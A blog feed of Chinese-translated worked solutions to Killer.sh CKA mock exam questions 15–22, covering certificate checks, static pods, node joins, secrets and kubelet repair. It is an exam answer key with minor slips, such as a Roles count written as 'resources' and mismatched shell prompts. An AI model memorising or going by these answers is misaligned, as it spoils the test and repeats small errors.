        <content type="html"><![CDATA[<p>Task weight: 2%</p><p>Use context: <code>kubectl config use-context k8s-c2-AC</code></p><p>Check how long the kube-apiserver server certificate is valid on <code>cluster2-controlplane1</code> . Do this with openssl or cfssl. Write the exipiration date into <code>/opt/course/22/expiration</code> .</p><p>Also run the correct <code>kubeadm</code> command to list the expiration dates and confirm both methods show the same date.</p><p>Write the correct <code>kubeadm</code> command that would renew the apiserver server certificate into <code>/opt/course/22/kubeadm-renew-certs.sh</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在 <code>cluster2-controlplane1</code> 上检查 kube-apiserver 服务器证书的有效期。 使用 openssl 或 cfssl 执行此操作。 将过期日期写入 <code>/opt/course/22/expiration</code> 中。</p><p>同时运行正确的 <code>kubeadm</code> 命令列出过期日期，并确认两种方法显示的日期相同。</p><p>将 更新apiserver服务器证书 正确 <code>kubeadm</code>命令 写入 <code>/opt/course/22/kubeadm-renew-certs.sh</code> 中。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c2-AC</span><br></pre></td></tr></table></figure><p>连接到controlplane1,并检查证书过期时间</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster2-controlplane1</span><br><span class="line"></span><br><span class="line">root@cluster2-controlplane1:~# find /etc/kubernetes/pki | grep apiserver</span><br><span class="line">root@cluster2-controlplane1:~# openssl x509  -noout -text -<span class="keyword">in</span> /etc/kubernetes/pki/apiserver.crt | grep Validity -A2</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b85d38c8a20deb3f6dbfba1261e5974e27293b8f32b5e7016d1fcd67539ae9aa.jpg" alt="check-cert-0">  </p><p>使用kubeadm 来获取过期时间</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster2-controlplane1:~# kubeadm certs check-expiration | grep apiserver</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/07bd27ea11bf556fa2f8d6af26363647e6a168d5b3938fa58725ed918a5c3275.jpg" alt="check-cert-1">  </p><p>写过期时间到文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Jan 10 05:00:49 2024 GMT&quot;</span> &gt; /opt/course/22/expiration</span><br></pre></td></tr></table></figure><p>更新证书</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;kubeadm certs renew apiserver&quot;</span> &gt; /opt/course/22/kubeadm-renew-certs.sh</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 21 | Create a Static Pod and Service</title>
      <link href="/archives/kubernetes/CKA/create-pod-svc.html"/>
      <url>/archives/kubernetes/CKA/create-pod-svc.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c3-CCC</code></p><p>Create a <code>Static Pod</code> named <code>my-static-pod</code> in Namespace default on <code>cluster3-controlplane1</code> . It should be of image <code>nginx:1.16-alpine</code> and have resource requests for <code>10m</code> CPU and <code>20Mi</code> memory.</p><p>Then create a NodePort Service named <code>static-pod-service</code> which exposes that static Pod on port 80 and check if it has Endpoints and if it’s reachable through the <code>cluster3-controlplane1</code> internal IP address. You can connect to the internal node IPs from your main terminal.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在 <code>cluster3-controlplane1</code> 的名称空间 <code>default</code> 中创建一个名为 <code>my-static-pod</code> 的静态 Pod。 镜像为 <code>nginx:1.16-alpine</code> ，并有 10m CPU 和 20Mi 内存的资源请求</p><p>然后创建一个名为 <code>static-pod-service</code> 的 NodePort 服务，通过 80 端口公开该静态 Pod，并检查它是否有端点，以及是否可以通过 <code>cluster3-controlplane1</code> 内部 IP 地址访问。 您可以从主终端连接到内部节点 IP 地址</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c3-CCC</span><br></pre></td></tr></table></figure><p>连接到cluster3-controlplane1 并新建一个pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-controlplane1</span><br><span class="line"></span><br><span class="line">root@cluster1-controlplane1:~# <span class="built_in">cd</span> /etc/kubernetes/manifests/</span><br><span class="line"></span><br><span class="line">root@cluster1-controlplane1:~# kubectl run my-static-pod \</span><br><span class="line">    --image=nginx:1.16-alpine \</span><br><span class="line">    -o yaml --dry-run=client &gt; my-static-pod.yaml</span><br></pre></td></tr></table></figure><p>my-static-pod.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># /etc/kubernetes/manifests/my-static-pod.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">my-static-pod</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-static-pod</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">nginx:1.16-alpine</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">my-static-pod</span></span><br><span class="line">    <span class="attr">resources:</span>                     <span class="comment">#change</span></span><br><span class="line">      <span class="attr">requests:</span>                    <span class="comment">#add</span></span><br><span class="line">        <span class="attr">cpu:</span> <span class="string">10m</span>                   <span class="comment">#add</span></span><br><span class="line">        <span class="attr">memory:</span> <span class="string">20Mi</span>               <span class="comment">#add</span></span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>返回操作节点,检查pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get pod -A | grep my-static</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7ffd05e562136fd062e616753ebca9cce21cae00d9069b7ef029d4cdaa0dbd76.jpg" alt="create-pod-svc-0">  </p><p>暴露端口</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k expose pod my-static-pod-cluster3-controlplane1 \</span><br><span class="line">  --name static-pod-service \</span><br><span class="line">  --<span class="built_in">type</span>=NodePort \</span><br><span class="line">  --port 80</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get svc,ep -l run=my-static-pod</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b1e13e8627b29f4642513dacd393cba92531ab6187ebb84eb9875825380198ec.jpg" alt="create-pod-svc-1">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 20 | Update Kubernetes Version and join cluster</title>
      <link href="/archives/kubernetes/CKA/cluster-update-2.html"/>
      <url>/archives/kubernetes/CKA/cluster-update-2.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c3-CCC</code></p><p>Your coworker said node <code>cluster3-node2</code> is running an older Kubernetes version and is not even part of the cluster. Update Kubernetes on that node to the exact version that’s running on <code>cluster3-controlplane1</code> . Then add this node to the cluster. Use kubeadm for this.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>你的同事说 <code>cluster3-node2</code> 节点运行的是旧的Kubernetes版本，甚至不是集群的一部分。将该节点上的Kubernetes版本更新为 <code>cluster3-controlplane1</code> 上运行的版本。使用kubeadm把这个节点添加到集群中。2023-01-10 15:33</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c3-CCC</span><br></pre></td></tr></table></figure><p>检查节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br></pre></td></tr></table></figure><p>连接到远程node2,检查kubeadm, kubelet,kubectl 情况</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-node2</span><br><span class="line">root@cluster3-node2:~# kubeadm version</span><br><span class="line">root@cluster3-node2:~# kubectl version --short</span><br><span class="line">root@cluster3-node2:~# kubelet --version</span><br></pre></td></tr></table></figure><p>更新 kubelet,kubectl到1.26.0-00</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-node2:~# apt update</span><br><span class="line">root@cluster3-node2:~# apt show kubectl -a | grep 1.26</span><br><span class="line">root@cluster3-node2:~# apt install -y kubectl=1.26.0-00 kubelet=1.26.0-00</span><br><span class="line">root@cluster3-node2:~# kubelet --version</span><br><span class="line">root@cluster3-node2:~# systemctl daemon-reload</span><br><span class="line">root@cluster3-node2:~# systemctl restart kubelet</span><br></pre></td></tr></table></figure><p>从控制平面获取join 集群命令链接</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-controlplane1</span><br><span class="line">root@cluster3-controlplane1:~# kubeadm token create --print-join-command</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7c858d71f9ab01844275a008f9b773b74bb492bcd8e77c1416bfd6606254f5a0.jpg" alt="cluster-update-2-0">  </p><p>进入node2节点,把从控制平面获取的join token 执行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster3-node2</span><br><span class="line"></span><br><span class="line">root@cluster3-node2:~# kubeadm <span class="built_in">join</span> 192.168.100.31:6443 --token rbhrjh.4o93r31o18an6dll --discovery-token-ca-cert-hash sha256:d94524f9ab1eed84417414c7def5c1608f84dbf04437d9f5f73eb6255dafdb18</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/ba8126d98e00408b004d6971c628836e423b7b7c7ed1d4733ec6d31b0726b789.jpg" alt="cluster-update-2-1">  </p><p>检查kubelet 状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl status kubelet</span><br></pre></td></tr></table></figure><p>检查集群node</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6ba702c64d90b76d4c4bcaadfe9ff20f70266c5b800279b376d02bf057496dcb.jpg" alt="cluster-update-2-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 19 | Create Secret and mount into Pod</title>
      <link href="/archives/kubernetes/CKA/create-secret.html"/>
      <url>/archives/kubernetes/CKA/create-secret.html</url>
      
        <content type="html"><![CDATA[<p>Task weight: 3%</p><blockquote><p>NOTE: This task can only be solved if questions 18 or 20 have been successfully implemented and the k8s-c3-CCC cluster has a functioning worker node</p></blockquote><p>Use context: <code>kubectl config use-context k8s-c3-CCC</code></p><p>Do the following in a new Namespace <code>secret</code> . Create a Pod named <code>secret-pod</code> of image <code>busybox:1.31.1</code> which should keep running for some time.</p><p>There is an existing Secret located at <code>/opt/course/19/secret1.yaml</code> , create it in the Namespace secret and mount it readonly into the Pod at <code>/tmp/secret1</code> .</p><p>Create a new Secret in Namespace <code>secret</code> called <code>secret2</code> which should contain <code>user=user1</code> and <code>pass=1234</code> . These entries should be available inside the Pod’s container as environment variables <code>APP_USER</code> and <code>APP_PASS</code> .</p><p>Confirm everything is working.</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><blockquote><p>注意：只有当问题18或20已经成功实施，并且k8s-c3-CCC集群有一个正常工作的工作节点时，才能解决这个任务</p></blockquote><p>在一个新的命名空间 <code>secret</code> 中进行以下操作。创建一个名为 <code>secret-pod</code> 的Pod，其镜像为 <code>busybox:1.31.1</code> ，应该保持运行一段时间。</p><p>有一个位于 <code>/opt/course/19/secret1.yaml</code> 的现有Secret ，在命名空间 <code>secret</code> 中创建它，并将其以只读方式装载到 <code>/tmp/secret1</code> 的Pod中。</p><p>在命名空间 <code>secret</code> 中创建一个新的 <code>secret</code> ，称为 <code>secret2</code> ，它应该包含<code>user=user1</code> 和 <code>pass=1234</code> 。这些条目应该在Pod的容器中作为环境变量 <code>APP_USER</code> 和 <code>APP_PASS</code> 可用。</p><p>确认一切都在工作。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c3-CCC</span><br></pre></td></tr></table></figure><p>创建一个secret,并复制文件到当前目录进行编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k create ns secret</span><br><span class="line"><span class="built_in">cp</span> /opt/course/19/secret1.yaml 19_secret1.yaml</span><br><span class="line"></span><br><span class="line">vim 19_secret1.yaml</span><br></pre></td></tr></table></figure><p>19_secret1.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 19_secret1.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="attr">halt:</span> <span class="string">IyEgL2Jpbi9zaAo...</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Secret</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">secret1</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">secret</span>           <span class="comment"># change</span></span><br></pre></td></tr></table></figure><p>创建secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 19_secret1.yaml create</span><br></pre></td></tr></table></figure><p>创建第二个secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n secret create secret generic secret2 --from-literal=user=user1 --from-literal=pass=1234</span><br></pre></td></tr></table></figure><p>创建一个pod模板并进行编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n secret run secret-pod --image=busybox:1.31.1 <span class="variable">$do</span> -- sh -c <span class="string">&quot;sleep 1d&quot;</span> &gt; 19.yaml</span><br><span class="line"></span><br><span class="line">vim 19.yaml</span><br></pre></td></tr></table></figure><p>19.yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 19.yaml</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">run:</span> <span class="string">secret-pod</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">secret-pod</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">secret</span>                       <span class="comment"># add</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">args:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">sh</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">sleep</span> <span class="string">1d</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">busybox:1.31.1</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">secret-pod</span></span><br><span class="line">    <span class="attr">resources:</span> &#123;&#125;</span><br><span class="line">    <span class="attr">env:</span>                                  <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">APP_USER</span>                      <span class="comment"># add</span></span><br><span class="line">      <span class="attr">valueFrom:</span>                          <span class="comment"># add</span></span><br><span class="line">        <span class="attr">secretKeyRef:</span>                     <span class="comment"># add</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">secret2</span>                   <span class="comment"># add</span></span><br><span class="line">          <span class="attr">key:</span> <span class="string">user</span>                       <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">APP_PASS</span>                      <span class="comment"># add</span></span><br><span class="line">      <span class="attr">valueFrom:</span>                          <span class="comment"># add</span></span><br><span class="line">        <span class="attr">secretKeyRef:</span>                     <span class="comment"># add</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">secret2</span>                   <span class="comment"># add</span></span><br><span class="line">          <span class="attr">key:</span> <span class="string">pass</span>                       <span class="comment"># add</span></span><br><span class="line">    <span class="attr">volumeMounts:</span>                         <span class="comment"># add</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">secret1</span>                       <span class="comment"># add</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">/tmp/secret1</span>             <span class="comment"># add</span></span><br><span class="line">      <span class="attr">readOnly:</span> <span class="literal">true</span>                      <span class="comment"># add</span></span><br><span class="line">  <span class="attr">dnsPolicy:</span> <span class="string">ClusterFirst</span></span><br><span class="line">  <span class="attr">restartPolicy:</span> <span class="string">Always</span></span><br><span class="line">  <span class="attr">volumes:</span>                                <span class="comment"># add</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">secret1</span>                         <span class="comment"># add</span></span><br><span class="line">    <span class="attr">secret:</span>                               <span class="comment"># add</span></span><br><span class="line">      <span class="attr">secretName:</span> <span class="string">secret1</span>                 <span class="comment"># add</span></span><br><span class="line"><span class="attr">status:</span> &#123;&#125;</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -f 19.yaml create</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n secret <span class="built_in">exec</span> secret-pod -- <span class="built_in">env</span> | grep APP</span><br><span class="line">k -n secret <span class="built_in">exec</span> secret-pod -- find /tmp/secret1</span><br><span class="line">k -n secret <span class="built_in">exec</span> secret-pod -- <span class="built_in">cat</span> /tmp/secret1/halt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/a0bdcbfa44bfce26e38e2b6b083eda731e5fd880fb381e86515a0e05d9e10c54.jpg" alt="create-secret-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 18 | Fix Kubelet</title>
      <link href="/archives/kubernetes/CKA/fix-kubelet.html"/>
      <url>/archives/kubernetes/CKA/fix-kubelet.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c3-CCC</code></p><p>There seems to be an issue with the kubelet not running on <code>cluster3-node1</code> . Fix it and confirm that cluster has node <code>cluster3-node1</code> available in Ready state afterwards. You should be able to schedule a Pod on <code>cluster3-node1</code> afterwards.</p><p>Write the reason of the issue into <code>/opt/course/18/reason.txt</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在 <code>cluster3-node1</code> 上运行的 kubelet 似乎有问题。 修复该问题并确认集群中的 <code>cluster3-node1</code> 节点处于就绪状态。 之后，您应该可以在 <code>cluster3-node1</code> 上调度 Pod。</p><p>将问题原因写入 <code>/opt/course/18/reason.txt</code> 。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c3-CCC</span><br></pre></td></tr></table></figure><p>查看节点并远程连接到节点</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k get node</span><br><span class="line">ssh cluster3-node1</span><br></pre></td></tr></table></figure><p>检查  kubelet 服务</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-node1:~# systemctl status kubelet</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/d3c5d07e79de3326a5b39a7cd944191b3e0ca54acbe1be1cad1a9ee5dde41cbe.jpg" alt="fix-kubelet-0">  </p><p>启动服务并检查状态</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">root@cluster3-node1:~# systemctl <span class="built_in">enable</span> kubelet --now</span><br><span class="line">root@cluster3-node1:~# systemctl status kubelet</span><br></pre></td></tr></table></figure><p>无法启动, 查看详细错误,发现是路径不对,检查服务配置文件, 并获取kubelet真实路径</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">journalctl -xe</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/af48299016bc991e7f382bd174f6e19a165033317aa34d98d29f0de56139392a.jpg" alt="fix-kubelet-1"><br><img src="https://images.hao.kim/uploads/2024/12/1a3275b062378a2551f38db8bc51ab5b0eeb497bc5044660f40a2ecd9e696dc3.jpg" alt="fix-kubelet-2">  </p><p>修改配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim /etc/systemd/system/kubelet.service.d/10-kubeadm.conf</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/8470e5efb1a87ba07313b5421b0904f6baeb2ce390afa0897eceaed5dc4f7f17.jpg" alt="fix-kubelet-3">  </p><p>修改文件后,重载配置并启动服务</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl daemon-reload &amp;&amp; systemctl restart kubelet</span><br><span class="line">systemctl status kubelet</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/2522d1ae474b94a16fb9534c23b5539eac85b95d53e0300424985f75ee56fccf.jpg" alt="fix-kubelet-4">  </p><p>原因</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;wrong path to kubelet binary specified in service config&quot;</span> &gt; /opt/course/18/reason.txt</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 17 | Find Container of Pod and check info</title>
      <link href="/archives/kubernetes/CKA/find-container-id.html"/>
      <url>/archives/kubernetes/CKA/find-container-id.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>In Namespace <code>project-tiger</code> create a Pod named <code>tigers-reunite</code> of image <code>httpd:2.4.41-alpine</code> with labels <code>pod=container</code> and  <code>container=pod</code> . Find out on which node the Pod is scheduled. Ssh into that node and find the containerd container belonging to that Pod.</p><p>Using command <code>crictl</code> :</p><p>Write the ID of the container and the <code>info.runtimeType</code> into <code>/opt/course/17/pod-container.txt</code> Write the logs of the container into <code>/opt/course/17/pod-container.log</code></p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>在名称空间 <code>project-tiger</code> 中，创建一个名为 <code>tigers-reunite</code> 的Pod，镜像为 <code>httpd:2.4.41-alpine</code> ，标签为 <code>pod=container</code> ，<code>container=pod</code> 。找出Pod被安排在哪个节点上。Ssh进入该节点，找到属于该Pod的containerd容器。</p><p>使用 <code>crictl</code> 命令。</p><p>将容器的<code>ID</code> 和 <code>info.runtimeType</code> 写入 <code>/opt/course/17/pod-container.txt</code> 中。 将容器的日志写入 <code>/opt/course/17/pod-container.log</code></p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>bash</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger run tigers-reunite \</span><br><span class="line">  --image=httpd:2.4.41-alpine \</span><br><span class="line">  --labels=<span class="string">&quot;pod=container,container=pod&quot;</span></span><br></pre></td></tr></table></figure><p>查看pod所在节点</p><p>bash</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k -n project-tiger get pod tigers-reunite -o wide</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/4dda0b069c55f476c93d5085b389d653e7dc99a9705dd504fec3cf3d61328c5e.jpg" alt="find-container-id-0">  </p><p>远程连接node</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-node2</span><br><span class="line">root@cluster1-node2:~# crictl ps | grep tigers-reunite</span><br><span class="line">root@cluster1-node2:~# crictl inspect b01edbe6f89ed | grep runtimeType</span><br><span class="line">root@cluster1-node2:~# <span class="built_in">exit</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c41b2657119db911e70d8fc12580626c7d20dc36a4b144390270666bd8eb402e.jpg" alt="find-container-id-1">  </p><p>写内容到文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;6253a89688d7d io.containerd.runc.v2&quot;</span> &gt; /opt/course/17/pod-container.txt</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssh cluster1-node2 <span class="string">&#x27;crictl logs 6253a89688d7d&#x27;</span> &amp;&gt; /opt/course/17/pod-container.log</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/b337537e922fbcd05682cd2cd1827ce84c04b4a9fc4c7cfafff7801b72e8d819.jpg" alt="find-container-id-2">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 16 | Namespaces and Api Resources</title>
      <link href="/archives/kubernetes/CKA/resources.html"/>
      <url>/archives/kubernetes/CKA/resources.html</url>
      
        <content type="html"><![CDATA[<p>Use context: <code>kubectl config use-context k8s-c1-H</code></p><p>Write the names of all namespaced Kubernetes resources (like Pod, Secret, ConfigMap…) into <code>/opt/course/16/resources.txt</code> .</p><p>Find the <code>project-*</code> Namespace with the highest number of <code>Roles</code> defined in it and write its name and amount of Roles into <code>/opt/course/16/crowded-namespace.txt</code> .</p><hr><h5 id="译文"><a href="#译文" class="headerlink" title="译文"></a>译文</h5><p>将所有命名的 Kubernetes 资源（如 Pod、Secret、ConfigMap……）的名称写入 <code>/opt/course/16/resources.txt</code> 中。</p><p>查找定义角色数量最多的 <code>*project-***</code> 命名空间，并将其名称和角色数量写入 <code>/opt/course/16/crowded-namespace.txt</code> 中。</p><hr><h5 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h5><p>bash</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s-c1-H</span><br></pre></td></tr></table></figure><p>将被命名的资源写入文件</p><p>bash</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">k api-resources --namespaced -o name &gt; /opt/course/16/resources.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6799ae5f376f015901da34bc24a826c5d8da1720b00be1f08fbb103f5dcf35f9.jpg" alt="resources-0">  </p><p>file</p><p>检查命名空间中角色数量 通过脚本循环检查</p><p>bash</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `k get ns -o name | <span class="built_in">cut</span> -d / -f 2` ; <span class="keyword">do</span> <span class="built_in">echo</span> <span class="variable">$i</span> ; k -n <span class="variable">$i</span> get role --no-headers | <span class="built_in">wc</span> -l; <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/e093f6a509d94bc909391ba1ab4e09c090fd957599bf6bd50e6b40182e0cf7b6.jpg" alt="resources-1">  </p><p>file</p><p>vim &#x2F;opt&#x2F;course&#x2F;16&#x2F;crowded-namespace.txt</p><p>yaml</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">project-c14</span> <span class="string">with</span> <span class="number">300</span> <span class="string">resources</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CKA </tag>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKA 模拟真题 Killer.sh | Question 15 | Cluster Event Logging</title>
      <link href="/archives/kubernetes/CKA/cluster-logs.html"/>
      <url>/archives/kubernetes/CKA/cluster-logs.html</url>
      
